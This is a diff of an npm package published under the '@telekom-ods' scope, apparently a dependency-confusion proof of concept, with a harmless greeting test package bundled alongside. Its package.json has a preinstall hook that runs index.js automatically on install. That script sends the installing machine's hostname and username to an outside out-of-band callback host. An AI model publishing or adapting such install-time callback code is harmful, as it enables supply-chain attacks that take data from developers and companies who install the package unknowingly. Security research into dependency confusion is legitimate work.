@telekom-ods/react-ui-kit 2.6.0

package/index.js

@@ -0,0 +1,18 @@
+// Dependency-confusion PoC: proves preinstall script execution via an out-of-band callback.
+// Sends only non-sensitive identifiers (hostname/user) to a controlled collaborator endpoint.
+const os = require("os");
+const https = require("https");
+
+// Replace with your own Interactsh / Burp Collaborator / webhook host.
+const CALLBACK_HOST = "d9t67n4ijf9j5pmd6ug0sij3zd49twn1k.oast.online";
+
+const marker = encodeURIComponent(`${os.hostname()}/${os.userInfo().username}`);
+const url = `https://${CALLBACK_HOST}/telekomDT/${marker}`;
+
+https
+  .get(url, (res) => {
+    res.resume(); // drain and discard the response
+  })
+  .on("error", (err) => {
+    console.error(err.message);
+  });

package/package.json

@@ -0,0 +1,16 @@
+{
+  "name": "@telekom-ods/react-ui-kit",
+  "version": "2.6.0",
+  "description": "poc",
+  "license": "ISC",
+  "author": "Anish Sarkar",
+  "type": "commonjs",
+  "main": "index.js",
+  "publishConfig": {
+    "access": "public"
+  },
+  "scripts": {
+  "test": "echo \"Error: no test specified\" && exit 1",
+  "preinstall": "node index.js"
+  }
+}

package/test-pkg/README.md

@@ -0,0 +1,22 @@
+# @telekom-ods/test
+
+A throwaway package published while learning how npm works.
+
+## Install
+
+```bash
+npm install @telekom-ods/test
+```
+
+## Usage
+
+```js
+const { greet } = require("@telekom-ods/test");
+
+greet();        // "Hello, world!"
+greet("npm");   // "Hello, npm!"
+```
+
+## License
+
+MIT

package/test-pkg/index.js

@@ -0,0 +1,10 @@
+/**
+ * Return a greeting.
+ * @param {string} [name] who to greet
+ * @returns {string}
+ */
+function greet(name = "world") {
+  return `Hello, ${name}!`;
+}
+
+module.exports = { greet };

package/test-pkg/package.json

@@ -0,0 +1,23 @@
+{
+  "name": "@telekom-ods/test",
+  "version": "1.0.0",
+  "description": "A test package for learning how npm publishing works",
+  "keywords": [
+    "test",
+    "learning"
+  ],
+  "license": "MIT",
+  "author": "Anish Sarkar",
+  "type": "commonjs",
+  "main": "index.js",
+  "files": [
+    "index.js",
+    "README.md"
+  ],
+  "publishConfig": {
+    "access": "public"
+  },
+  "scripts": {
+    "test": "node -e \"const g=require('./index.js').greet; if(g('npm')!=='Hello, npm!') { throw new Error('greet() returned the wrong string'); } console.log('ok');\""
+  }
+}